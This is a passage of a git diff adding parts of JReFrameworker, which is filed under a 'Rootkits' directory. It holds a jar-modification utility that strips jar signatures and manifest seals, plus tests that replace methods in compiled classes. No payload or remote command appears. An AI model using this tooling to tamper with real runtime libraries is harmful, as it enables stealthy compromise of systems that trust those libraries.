com.jreframeworker.engine.utils; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.Map.Entry; +import java.util.jar.Attributes; +import java.util.jar.JarEntry; +import java.util.jar.JarException; +import java.util.jar.JarFile; +import java.util.jar.JarInputStream; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * A wrapper around the Java zip utilities to add, overwrite, or remove files + * from archives. + * + * @author Ben Holland + */ +public class JarModifier { + + /** + * The directory separator character for archive files as a string + */ + public static final String SEPERATOR = "/"; + + /** + * The directory that stores the manifest and jar signatures + */ + public static final String META_INF = "META-INF"; + + /** + * Extracts a Jar file + * + * @param inputJar + * @param outputPath + * @throws IOException + */ + public static void unjar(File inputJar, File outputPath) throws IOException { + outputPath.mkdirs(); + JarFile jar = new JarFile(inputJar); + Enumeration jarEntries = jar.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + File file = new File(outputPath.getAbsolutePath() + java.io.File.separator + jarEntry.getName()); + new File(file.getParent()).mkdirs(); + if (jarEntry.isDirectory()) { + file.mkdir(); + continue; + } + InputStream is = jar.getInputStream(jarEntry); + FileOutputStream fos = new FileOutputStream(file); + while (is.available() > 0) { + fos.write(is.read()); + } + fos.close(); + is.close(); + } + jar.close(); + } + + private HashMap jarEntries = new HashMap(); + private HashMap jarEntriesToAdd = new HashMap(); + private File jarFile; + private Manifest manifest; + + /** + * Creates a new JarModifier with the given archive to be modified + * + * @param jarFile The archive to be modified. + * + * @throws JarException + * @throws IOException + */ + public JarModifier(File jarFile) throws JarException, IOException { + this.jarFile = jarFile; + JarFile jar = new JarFile(jarFile); + // get references to all the archive file entries + Enumeration enumerator = jar.entries(); + while(enumerator.hasMoreElements()){ + JarEntry currentEntry = (JarEntry) enumerator.nextElement(); + // need to create a new entry to reset properties that will need to be recomputed automatically +// JarEntry resetEntry = resetEntry(currentEntry); // TODO: Fix + JarEntry resetEntry = new JarEntry(currentEntry.getName()); + jarEntries.put(currentEntry.getName(), resetEntry); + } + + String manifestPath = META_INF + SEPERATOR + "MANIFEST.MF"; + JarEntry jarManifestEntry = jar.getJarEntry(manifestPath); + // if manifest not found then search manually + if (jarManifestEntry == null) { + Enumeration entries = jar.entries(); + while (entries.hasMoreElements()) { + jarManifestEntry = (JarEntry) entries.nextElement(); + if (manifestPath.equalsIgnoreCase(jarManifestEntry.getName())){ + break; + } else { + jarManifestEntry = null; + } + } + } + + // if we've found a manifest then parse it + if(jarManifestEntry != null){ + Manifest manifest = new Manifest(); + if (jarManifestEntry != null){ + manifest.read(jar.getInputStream(jarManifestEntry)); + } + this.manifest = manifest; + } + + jar.close(); + } + + public File getJarFile(){ + return jarFile; + } + + public byte[] extractEntry(String entry) throws IOException { + JarInputStream zin = new JarInputStream(new BufferedInputStream(new FileInputStream(jarFile))); + JarEntry currentEntry = null; + while ((currentEntry = zin.getNextJarEntry()) != null) { + if (currentEntry.getName().equals(entry)) { + // currentEntry.getSize() may not be accurate, so read bytes into a stream first + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buf = new byte[4096]; + while (true) { + int n = zin.read(buf); + if (n < 0){ + break; + } + baos.write(buf, 0, n); + } + zin.close(); + return baos.toByteArray(); + } + } + zin.close(); + return null; + } + + /** + * Returns the parsed manifest or null if there is no manifest + * @return + */ + public Manifest getManifest(){ + return manifest; + } + + public HashSet getJarEntrySet(){ + HashSet entryList = new HashSet(); + entryList.addAll(jarEntries.keySet()); + return entryList; + } + + /** + * From: http://docs.oracle.com/javase/7/docs/technotes/tools/windows/jarsigner.html + * When jarsigner is used to sign a JAR file, the output signed JAR file is exactly the + * same as the input JAR file, except that it has two additional files placed in the + * META-INF directory: a signature file, with a .SF extension, and a signature block + * file, with a .DSA, .RSA, or .EC extension. + * + * The method deletes the jarsigner signature file and the signature block files. + */ + public void unsign(){ + LinkedList entriesToRemove = new LinkedList(); + for(Entry jarEntry : jarEntries.entrySet()){ + if(jarEntry.getKey().endsWith(".SF") + || jarEntry.getKey().endsWith(".DSA") + || jarEntry.getKey().endsWith(".RSA") + || jarEntry.getKey().endsWith(".EC")){ + entriesToRemove.add(jarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntries.remove(entryToRemove); + } + } + + /** + * Generates a Jar Manifest based on the given parameters + * @return + */ + public static Manifest generateEmptyManifest(){ + Manifest manifest = new Manifest(); + manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0"); + return manifest; + } + + /** + * Adds (or optionally overwrites) an archive entry + * + * @param entry + * The entry path (example a/b/c/test.txt) + * @param file + * The contents of the file to add + * @param overwrite + * True if an existing entry should be overwritten + * @throws IOException + * Thrown if overwrite is false and the archive already contains + * the specified entry + */ + public void add(String entry, byte[] bytes, boolean overwrite) throws IOException { + JarEntry newEntry = new JarEntry(entry); + if(jarEntries.containsKey(entry) && !overwrite){ + throw new IOException("Archive already contains entry: " + entry); + } else { + // remove an entry if one already exists + jarEntries.remove(entry); + jarEntriesToAdd.remove(entry); + // add a new entry + jarEntries.put(entry, newEntry); + jarEntriesToAdd.put(entry, bytes); + } + } + + /** + * Adds (or optionally overwrites) an archive entry with the specified entry + * properties. + * + * @param entry + * JarEntry with the properties to add or overwrite + * @param file + * The contents of the file to add + * @param overwrite + * True if an existing entry should be overwritten + * @throws IOException + * Thrown if overwrite is false and the archive already contains + * the specified entry + */ + public void add(JarEntry entry, byte[] bytes, boolean overwrite) throws IOException { +// JarEntry newEntry = resetEntry(entry); // TODO: fix + JarEntry newEntry = new JarEntry(entry.getName()); + newEntry.setSize(bytes.length); + if(jarEntries.containsKey(entry.getName()) && !overwrite){ + throw new IOException("Archive already contains entry: " + entry); + } else { + // remove an entry if one already exists + jarEntries.remove(entry.getName()); + jarEntriesToAdd.remove(entry.getName()); + // add a new entry + jarEntries.put(entry.getName(), newEntry); + jarEntriesToAdd.put(entry.getName(), bytes); + } + } + + /** + * Removes the specified entry if one exits (example: a/b/c/test.txt) + * + * @param entry + */ + public void remove(String entry){ + remove(new JarEntry(entry)); + } + + /** + * Removes the specified entry if one exits (example: a/b/c/test.txt) + * + * @param entry + */ + public void remove(JarEntry entry){ + jarEntries.remove(entry.getName()); + jarEntriesToAdd.remove(entry.getName()); + } + + /** + * Removes any entries with the matching file name prefix + * + * @param directory + */ + public void removeSubdirectory(String directory){ + // clear the entries that may have already existed in the archive + LinkedList entriesToRemove = new LinkedList(); + for(Entry JarEntry : jarEntries.entrySet()){ + if(JarEntry.getKey().startsWith(directory)){ + entriesToRemove.add(JarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntries.remove(entryToRemove); + } + } + + /** + * Removes any entries with a matching file name (example: test.txt) + * + * @param filename The filename to match + */ + public void removeFilesWithName(String filename){ + // clear the entries that may have already existed in the archive + LinkedList entriesToRemove = new LinkedList(); + for(Entry JarEntry : jarEntries.entrySet()){ + if(JarEntry.getKey().endsWith(filename)){ + entriesToRemove.add(JarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntries.remove(entryToRemove); + } + entriesToRemove.clear(); + + // clear the entries that may have queued to be added + for(Entry JarEntry : jarEntriesToAdd.entrySet()){ + if(JarEntry.getKey().endsWith(filename)){ + entriesToRemove.add(JarEntry.getKey()); + } + } + for(String entryToRemove : entriesToRemove){ + jarEntriesToAdd.remove(entryToRemove); + } + } + + /** + * Writes the modified output archive to a file + * + * @param outputArchive + * @throws IOException + */ + public void save(File outputArchiveFile) throws IOException { + // update the manifest if needed + if(manifest != null){ + // unsign the manifest, signatures have changed + unsign(); + + // sanitize the manifest + String manifestPath = META_INF + SEPERATOR + "MANIFEST.MF"; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Manifest sanitizedManifest = sanitizeManifest(manifest); + sanitizedManifest.write(baos); + add(manifestPath, baos.toByteArray(), true); + } + + JarInputStream zin = null; + JarOutputStream zout = null; + try { + byte[] buf = new byte[1024]; + zin = new JarInputStream(new FileInputStream(jarFile)); + zout = new JarOutputStream(new FileOutputStream(outputArchiveFile)); + JarEntry entry = zin.getNextJarEntry(); + while (entry != null) { + // write the file to the zip depending on where it is located + // entries from files will be added later so skip those now + if(jarEntries.containsKey(entry.getName()) && !jarEntriesToAdd.containsKey(entry.getName())){ + // transfer the bytes from the old archive to the output archive + zout.putNextEntry(jarEntries.get(entry.getName())); + int len; + while ((len = zin.read(buf)) > 0) { + zout.write(buf, 0, len); + } + // complete the entry + zout.closeEntry(); + } + // get the next zip entry to examine + entry = zin.getNextJarEntry(); + } + // transfer the bytes from the saved files to the output archive + for(Entry jarEntryToAdd : jarEntriesToAdd.entrySet()){ + String entryName = jarEntryToAdd.getKey(); + byte[] bytes = jarEntryToAdd.getValue(); + InputStream fin = null; + try { + fin = new ByteArrayInputStream(bytes); + zout.putNextEntry(jarEntries.get(entryName)); + int len; + while ((len = fin.read(buf)) > 0) { + zout.write(buf, 0, len); + } + // complete the entry + zout.closeEntry(); + } finally { + if(fin != null){ + fin.close(); + } + } + } + } finally { + // close the streams + if(zin != null){ + zin.close(); + } + if(zout != null){ + zout.close(); + } + } + } + + /** + * Returns a copy of the manifest without any seals or signatures + * @param manifest + * @return + */ + private Manifest sanitizeManifest(Manifest manifest) { + Manifest sanitizedManifest = new Manifest(); + Attributes sanitizedAttributes = sanitizedManifest.getMainAttributes(); + + for(Entry attributes : manifest.getMainAttributes().entrySet()){ + if(attributes.getKey().equals(Attributes.Name.SEALED)){ + continue; + } + if(attributes.getKey().equals(Attributes.Name.SIGNATURE_VERSION)){ + continue; + } + sanitizedAttributes.put(attributes.getKey(), attributes.getValue()); + } + + return sanitizedManifest; + } + + /** + * Prints the contents of the archive file if it were written to disk + */ + @Override + public String toString(){ + StringBuilder result = new StringBuilder(); + + // sort the entries + ArrayList allEntries = new ArrayList(jarEntries.keySet().size()); + allEntries.addAll(jarEntries.keySet()); + Collections.sort(allEntries); + + for(String entry : allEntries) { + result.append(entry); + result.append(" ["); + if(jarEntriesToAdd.containsKey(entry)){ + result.append(jarEntriesToAdd.get(entry).length + " (bytes)"); + } else { + result.append(jarFile.getAbsolutePath()); + } + result.append("]\n"); + } + + return result.toString(); + } + + // TODO: fix this... +// /** +// * Resets a zip entry. Copies over the time, comments, extras, and compression method. +// * +// * File sizes and other properties are left to be recomputed automatically. +// * +// * @param entry +// * @return +// */ +// private JarEntry resetEntry(JarEntry entry) { +// JarEntry resetEntry = new JarEntry(entry.getName()); +// // copy over entry properties +// resetEntry.setTime(entry.getTime()); +// resetEntry.setComment(entry.getComment()); +// resetEntry.setExtra(entry.getExtra()); +// resetEntry.setMethod(entry.getMethod()); +// return resetEntry; +// } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.classpath new file mode 100644 index 0000000..c4d4f9f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.classpath @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.project new file mode 100644 index 0000000..f173eac --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.project @@ -0,0 +1,17 @@ + + + com.jreframeworker.engine.tests + + + + + + org.eclipse.jdt.core.javabuilder + + + + + + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3a21537 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,11 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/EngineTests.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/EngineTests.java new file mode 100644 index 0000000..9949e1f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/EngineTests.java @@ -0,0 +1,121 @@ +package com.jreframeworker.engine.tests; + +import java.io.File; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.nio.file.Files; +import java.util.List; + +import org.junit.Test; + +import com.jreframeworker.engine.Engine; +import com.jreframeworker.engine.tests.utils.TestUtilities; +import com.jreframeworker.engine.utils.BytecodeUtils; + +import junit.framework.TestCase; + +public class EngineTests extends TestCase { + + private String packagePrefix = "com.jreframeworker.engine.tests"; + private String projectSource = new File("src" + File.separator + packagePrefix.replace(".", File.separator)).getAbsolutePath(); + private File workingDirectory = null; + + @Override + protected void setUp() throws Exception { + workingDirectory = Files.createTempDirectory("working-directory").toFile(); + } + + @Override + protected void tearDown() throws Exception { + TestUtilities.delete(workingDirectory); + workingDirectory = null; + } + + @Test + @SuppressWarnings({"resource", "unchecked", "rawtypes"}) + public void testMergeMethodReplacesOriginalMethod() throws Exception { + // gather sources + String pkg = "inputs.a"; + File testSourceDirectory = new File(projectSource + File.separator + pkg.replace(".", File.separator)); + List sourceFiles = TestUtilities.gatherTestSources(testSourceDirectory); + + // compile sources + List classFiles = TestUtilities.compileSources(sourceFiles, workingDirectory); + + // assert all class files were compiled successfully + File baseClass = TestUtilities.getClassFile("BaseClass", classFiles); + assertNotNull(baseClass); + assertTrue(baseClass.exists()); + File mergeClass = TestUtilities.getClassFile("MergeClass", classFiles); + assertNotNull(mergeClass); + assertTrue(mergeClass.exists()); + + // jar base class + File originalJar = new File(workingDirectory.getAbsolutePath() + File.separator + "original.jar"); + TestUtilities.jarFiles(workingDirectory, originalJar, (packagePrefix + "." + pkg), baseClass); + + // merge class into base class + String renamePrefix = "jref_"; + Engine engine = new Engine(originalJar, renamePrefix); + File modifiedJar = new File(workingDirectory.getAbsolutePath() + File.separator + "modified.jar"); + engine.process(BytecodeUtils.writeClass(BytecodeUtils.getClassNode(mergeClass))); + engine.save(modifiedJar); + + // execute the modified base class method + URL[] jarURL = { new URL("jar:file:" + modifiedJar.getCanonicalPath() + "!/") }; + ClassLoader classLoader = new URLClassLoader(jarURL, null); // important: set parent class loader to null! + Class modifiedBaseClass = classLoader.loadClass(packagePrefix + "." + pkg + "." + "BaseClass"); + Method modifiedBaseClassMethod = modifiedBaseClass.getDeclaredMethod("method"); + Object modifiedBaseClassInstance = modifiedBaseClass.newInstance(); + Object result = modifiedBaseClassMethod.invoke(modifiedBaseClassInstance); + + // assert expected behavior is observed + // the replaced method should return merge-method + assertEquals("merge-method", result); + } + + @Test + @SuppressWarnings({"resource", "unchecked", "rawtypes"}) + public void testMergeMethodPreservesOriginalMethod() throws Exception { + // gather sources + String pkg = "inputs.b"; + File testSourceDirectory = new File(projectSource + File.separator + pkg.replace(".", File.separator)); + List sourceFiles = TestUtilities.gatherTestSources(testSourceDirectory); + + // compile sources + List classFiles = TestUtilities.compileSources(sourceFiles, workingDirectory); + + // assert all class files were compiled successfully + File baseClass = TestUtilities.getClassFile("BaseClass", classFiles); + assertNotNull(baseClass); + assertTrue(baseClass.exists()); + File mergeClass = TestUtilities.getClassFile("MergeClass", classFiles); + assertNotNull(mergeClass); + assertTrue(mergeClass.exists()); + + // jar base class + File originalJar = new File(workingDirectory.getAbsolutePath() + File.separator + "original.jar"); + TestUtilities.jarFiles(workingDirectory, originalJar, (packagePrefix + "." + pkg), baseClass); + + // merge class into base class + String renamePrefix = "jref_"; + Engine engine = new Engine(originalJar, renamePrefix); + File modifiedJar = new File(workingDirectory.getAbsolutePath() + File.separator + "modified.jar"); + engine.process(BytecodeUtils.writeClass(BytecodeUtils.getClassNode(mergeClass))); + engine.save(modifiedJar); + + // execute the modified base class method + URL[] jarURL = { new URL("jar:file:" + modifiedJar.getCanonicalPath() + "!/") }; + ClassLoader classLoader = new URLClassLoader(jarURL, null); // important: set parent class loader to null! + Class modifiedBaseClass = classLoader.loadClass(packagePrefix + "." + pkg + "." + "BaseClass"); + Method modifiedBaseClassMethod = modifiedBaseClass.getDeclaredMethod("method"); + Object modifiedBaseClassInstance = modifiedBaseClass.newInstance(); + Object result = modifiedBaseClassMethod.invoke(modifiedBaseClassInstance); + + // assert expected behavior is observed + // the replaced method should return merge-method + assertEquals("merged-original-method", result); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/a/BaseClass.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/a/BaseClass.java new file mode 100644 index 0000000..a90c4b9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/a/BaseClass.java @@ -0,0 +1,9 @@ +package com.jreframeworker.engine.tests.inputs.a; + +public class BaseClass { + + public String method(){ + return "original-method"; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/a/MergeClass.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/a/MergeClass.java new file mode 100644 index 0000000..1f4a716 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/a/MergeClass.java @@ -0,0 +1,15 @@ +package com.jreframeworker.engine.tests.inputs.a; + +import com.jreframeworker.annotations.methods.MergeMethod; +import com.jreframeworker.annotations.types.MergeType; + +@MergeType +public class MergeClass extends BaseClass { + + @Override + @MergeMethod + public String method(){ + return "merge-method"; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/b/BaseClass.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/b/BaseClass.java new file mode 100644 index 0000000..389be7d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/b/BaseClass.java @@ -0,0 +1,9 @@ +package com.jreframeworker.engine.tests.inputs.b; + +public class BaseClass { + + public String method(){ + return "original-method"; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/b/MergeClass.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/b/MergeClass.java new file mode 100644 index 0000000..9c4dffb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/inputs/b/MergeClass.java @@ -0,0 +1,15 @@ +package com.jreframeworker.engine.tests.inputs.b; + +import com.jreframeworker.annotations.methods.MergeMethod; +import com.jreframeworker.annotations.types.MergeType; + +@MergeType +public class MergeClass extends BaseClass { + + @Override + @MergeMethod + public String method(){ + return "merged-" + super.method(); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/utils/TestUtilities.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/utils/TestUtilities.java new file mode 100644 index 0000000..952d00b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.tests/src/com/jreframeworker/engine/tests/utils/TestUtilities.java @@ -0,0 +1,174 @@ +package com.jreframeworker.engine.tests.utils; + +import java.io.BufferedInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.nio.charset.Charset; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.LinkedList; +import java.util.List; +import java.util.Locale; +import java.util.jar.Attributes; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +import javax.tools.Diagnostic; +import javax.tools.DiagnosticCollector; +import javax.tools.JavaCompiler; +import javax.tools.JavaFileObject; +import javax.tools.StandardJavaFileManager; +import javax.tools.ToolProvider; + +public class TestUtilities { + + public static void jarFiles(File workingDirectory, File outputJar, String pkg, File... files) throws IOException { + File extractedJar = new File(workingDirectory.getAbsolutePath() + File.separator + "jar"); + File extractedJarPackage = new File(extractedJar.getAbsolutePath() + File.separator + pkg.replace(".", File.separator)); + extractedJarPackage.mkdirs(); + for(File file : files){ + copyFile(file, new File(extractedJarPackage.getAbsolutePath() + File.separator + file.getName())); + } + TestUtilities.jar(extractedJar, outputJar, TestUtilities.generateEmptyManifest()); + } + + public static final String META_INF = "META-INF"; + + /** + * Generates a Jar Manifest based on the given parameters + * @return + */ + public static Manifest generateEmptyManifest(){ + Manifest manifest = new Manifest(); + manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0"); + return manifest; + } + + /** + * Creates a Jar file from a directory + * + * @param extractedJarPath + * @param outputJar + * @throws IOException + */ + public static void jar(File extractedJarPath, File outputJar, Manifest manifest) throws IOException { + JarOutputStream target = new JarOutputStream(new FileOutputStream(outputJar), manifest); + addFileToJar(extractedJarPath, extractedJarPath, target); + target.close(); + } + + // note this current implementation also updates the timestamps of Jar contents + public static void addFileToJar(File fileOrDirectoryToAdd, File extractedJarPath, JarOutputStream target) throws IOException { + String relPath = ""; + if(!fileOrDirectoryToAdd.getAbsolutePath().equals(extractedJarPath.getAbsolutePath())){ + String fileToAddCanonicalPath = fileOrDirectoryToAdd.getCanonicalPath(); + int relStart = extractedJarPath.getCanonicalPath().length() + 1; + int relEnd = fileOrDirectoryToAdd.getCanonicalPath().length(); + String d = fileToAddCanonicalPath.substring(relStart,relEnd); + relPath = d.replace("\\", "/"); + } + BufferedInputStream in = null; + try { + if (fileOrDirectoryToAdd.isDirectory()) { + if (!relPath.isEmpty()) { + if (!relPath.endsWith("/")){ + relPath += "/"; + } + JarEntry entry = new JarEntry(relPath); + entry.setTime(fileOrDirectoryToAdd.lastModified()); + target.putNextEntry(entry); + target.closeEntry(); + } + for (File nestedFile : fileOrDirectoryToAdd.listFiles()){ + addFileToJar(nestedFile, extractedJarPath, target); + } + return; + } + + JarEntry entry = new JarEntry(relPath); + entry.setTime(fileOrDirectoryToAdd.lastModified()); + target.putNextEntry(entry); + in = new BufferedInputStream(new FileInputStream(fileOrDirectoryToAdd)); + + byte[] buffer = new byte[1024]; + while (true) { + int count = in.read(buffer); + if (count == -1){ + break; + } + target.write(buffer, 0, count); + } + target.closeEntry(); + } finally { + if (in != null) { + in.close(); + } + } + } + + public static void delete(File f) throws IOException { + if (f.isDirectory()){ + for (File c : f.listFiles()){ + delete(c); + } + } + if (!f.delete()){ + throw new FileNotFoundException("Failed to delete file: " + f); + } + } + + public static List gatherTestSources(File testSourceDirectory){ + ArrayList sourceFiles = new ArrayList(); + for(File sourceFile : testSourceDirectory.listFiles()){ + if(sourceFile.getName().endsWith(".java")){ + sourceFiles.add(sourceFile); + } + } + return sourceFiles; + } + + public static List compileSources(List sourceFiles, File workingDirectory) throws IOException { + JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler(); + + if(javaCompiler == null){ + throw new RuntimeException("Could not find Java compiler."); + } + + DiagnosticCollector diagnostics = new DiagnosticCollector(); + StandardJavaFileManager fileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.ENGLISH, Charset.forName("UTF-8")); + Iterable compilationUnits = fileManager.getJavaFileObjectsFromFiles(sourceFiles); + javaCompiler.getTask(null, fileManager, diagnostics, null, null, compilationUnits).call(); + + for (Diagnostic diagnostic : diagnostics.getDiagnostics()) { + throw new RuntimeException(String.format("Error on line %d in %d%n", diagnostic.getLineNumber(), diagnostic.getSource().toString())); + } + + fileManager.close(); + + List classFiles = new LinkedList(); + for(File sourceFile : sourceFiles){ + File outputFile = new File(workingDirectory.getAbsolutePath() + File.separator + sourceFile.getName().replace(".java", ".class")); + new File(sourceFile.getAbsolutePath().replace(".java", ".class")).renameTo(outputFile); + classFiles.add(outputFile); + } + return classFiles; + } + + public static File getClassFile(String className, List classFiles){ + for(File classFile : classFiles){ + if(classFile.getName().endsWith(className + ".class")){ + return classFile; + } + } + return null; + } + + public static void copyFile(File from, File to) throws IOException { + Files.copy(from.toPath(), to.toPath()); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.classpath new file mode 100644 index 0000000..eca7bdb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.project new file mode 100644 index 0000000..2a840b4 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.project @@ -0,0 +1,28 @@ + + + com.jreframeworker.engine + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0c68a61 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 +org.eclipse.jdt.core.compiler.compliance=1.8 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.8 diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/LICENSE b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/LICENSE new file mode 100644 index 0000000..1bc4422 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2017 Ben Holland + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff 